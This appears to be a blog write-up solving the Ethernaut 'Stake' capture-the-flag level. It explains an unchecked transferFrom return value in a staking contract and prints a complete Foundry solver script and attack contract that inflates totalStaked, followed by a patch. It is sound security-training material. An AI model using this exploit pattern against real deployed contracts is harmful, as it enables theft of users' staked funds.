Ethernaut-31-Stake

Challenge

Stake is safe for staking native ETH and ERC20 WETH, considering the same 1:1 value of the tokens. Can you drain the contract?

To complete this level, the contract state must meet the following conditions:

  • The Stake contract's ETH balance has to be greater than 0.

  • totalStaked must be greater than the Stake contract's ETH balance.

  • You must be a staker.

  • Your staked balance must be 0.

Things that might be useful:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Stake {

    uint256 public totalStaked;
    mapping(address => uint256) public UserStake;
    mapping(address => bool) public Stakers;
    address public WETH;

    constructor(address _weth) payable{
        totalStaked += msg.value;
        WETH = _weth;
    }

    function StakeETH() public payable {
        require(msg.value > 0.001 ether, "Don't be cheap");
        totalStaked += msg.value;
        UserStake[msg.sender] += msg.value;
        Stakers[msg.sender] = true;
    }
    function StakeWETH(uint256 amount) public returns (bool){
        require(amount >  0.001 ether, "Don't be cheap");
        (,bytes memory allowance) = WETH.call(abi.encodeWithSelector(0xdd62ed3e, msg.sender,address(this)));
        require(bytesToUint(allowance) >= amount,"How am I moving the funds honey?");
        totalStaked += amount;
        UserStake[msg.sender] += amount;
        (bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount));
        Stakers[msg.sender] = true;
        return transfered;
    }

    function Unstake(uint256 amount) public returns (bool){
        require(UserStake[msg.sender] >= amount,"Don't be greedy");
        UserStake[msg.sender] -= amount;
        totalStaked -= amount;
        (bool success, ) = payable(msg.sender).call{value : amount}("");
        return success;
    }
    function bytesToUint(bytes memory data) internal pure returns (uint256) {
        require(data.length >= 32, "Data length must be at least 32 bytes");
        uint256 result;
        assembly {
            result := mload(add(data, 0x20))
        }
        return result;
    }
}

Solve

The challenge doesn't give us the source code of WETH, so let’s optimistically assume it is a bug-free ERC20 contract.

First, let’s try to decode the function selector to the function signature:

cast 4byte 0xdd62ed3e
=> "allowance(address,address)"

cast 4byte 0x23b872dd
=> "transferFrom(address,address,uint256)"

There’s a vulnerability in StakeWETH(uint256 amount) function: it does not check whether the external call is successful or failed.

function StakeWETH(uint256 amount) public returns (bool){
    require(amount >  0.001 ether, "Don't be cheap");
    (,bytes memory allowance) = WETH.call(abi.encodeWithSignature("allowance(address,address)", msg.sender,address(this)));
    require(bytesToUint(allowance) >= amount,"How am I moving the funds honey?");
    totalStaked += amount;
    UserStake[msg.sender] += amount;
    //@audit does not check `transfered` is true!
    (bool transfered, ) = WETH.call(abi.encodeWithSignature("transferFrom(address,address,uint256)", msg.sender,address(this),amount));
    Stakers[msg.sender] = true;
    return transfered;
}

Therefore, StakeWETH(uint256 amount) function does not check whether msg.sender really has some WETH to stake, but only requires msg.sender to approve enough WETH for the Stake contract.

From this point, now we know we can:

  1. Add totalStaked to arbitrary uint256 value.

  2. Add UserStake[msg.sender] to arbitrary uint256 value.

  3. Make any addresses as Stakers.

Then we can start brain-storming our exploit code:

  1. Use player EOA wallet:

    1. Call StakeETH{value: 0.001 ether + 1 wei}()

      ✅ The Stake contract's ETH balance has to be greater than 0.
      totalStaked must be greater than the Stake contract's ETH balance.
      ✅ You must be a staker.
      ❌ Your staked balance must be 0.

    2. Call Unstake(0.001 ether + 1 wei)

      ❌ The Stake contract's ETH balance has to be greater than 0.
      totalStaked must be greater than the Stake contract's ETH balance.
      ✅ You must be a staker.
      ✅ Your staked balance must be 0.

  2. Use Attack contract:

    1. Call StakeWETH(0.001 ether + 1 wei)

      Must call WETH.approve(Stake, type(uint256).max) before calling StakeWETH().
      ❌ The Stake contract's ETH balance has to be greater than 0.
      totalStaked must be greater than the Stake contract's ETH balance.
      ✅ You must be a staker.
      ✅ Your staked balance must be 0.

    2. Call StakeETH{value: 0.001 ether + 1 wei + 1 wei}()

      ✅ The Stake contract's ETH balance has to be greater than 0.
      totalStaked must be greater than the Stake contract's ETH balance.
      ✅ You must be a staker.
      ✅ Your staked balance must be 0.

    3. (Optional) Call Unstake(0.001 ether + 1 wei) & selfdestruct(tx.origin)

      Just don’t want to waste my test ETH….

Full solution code:


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Script, console} from "forge-std/Script.sol";

contract Solver is Script {
    address stake = vm.envAddress("STAKE_INSTANCE");
    address weth = vm.envAddress("WETH_INSTANCE");

    function setUp() public {}

    function run() public {
        vm.startBroadcast(vm.envUint("PRIV_KEY"));

        stake.call{value: 0.001 ether + 1}(abi.encodeWithSignature("StakeETH()"));
        stake.call(abi.encodeWithSignature("Unstake(uint256)", 0.001 ether + 1));

        Hack hack = new Hack(stake, weth);
        hack.pwn{value: 0.001 ether + 2}();

        vm.stopBroadcast();
    }
}


contract Hack {
    address stake;
    address weth;

    constructor(address _stake, address _weth) {
        stake = _stake;
        weth = _weth;
    }

    function pwn() external payable {
        weth.call(abi.encodeWithSignature("approve(address,uint256)", stake, type(uint256).max));
        stake.call(abi.encodeWithSignature("StakeWETH(uint256)", 0.001 ether + 1));
        stake.call{value: 0.001 ether + 2}(abi.encodeWithSignature("StakeETH()"));
        stake.call(abi.encodeWithSignature("Unstake(uint256)", 0.001 ether));
    }

    receive() external payable {
        selfdestruct(payable(tx.origin));
    }
}
forge script script/Ethernaut31-Stake.s.sol:Solver --evm-version cancun -f $RPC_OP_SEPOLIA --broadcast

Potential Patches

Always checking .call()'s return value.

function StakeWETH(uint256 amount) public returns (bool){
    require(amount >  0.001 ether, "Don't be cheap");
    (,bytes memory allowance) = WETH.call(abi.encodeWithSignature("allowance(address,address)", msg.sender,address(this)));
    require(bytesToUint(allowance) >= amount,"How am I moving the funds honey?");
    totalStaked += amount;
    UserStake[msg.sender] += amount;
    (bool transfered, ) = WETH.call(abi.encodeWithSignature("transferFrom(address,address,uint256)", msg.sender,address(this),amount));
    require(transfered, 'transfer failed'); //@patch
    Stakers[msg.sender] = true;
    return transfered;
}
0
Subscribe to my newsletter

Read articles from whiteberets[.]eth directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

whiteberets[.]eth
whiteberets[.]eth

Please don't OSINT me, I'd be shy. 🫣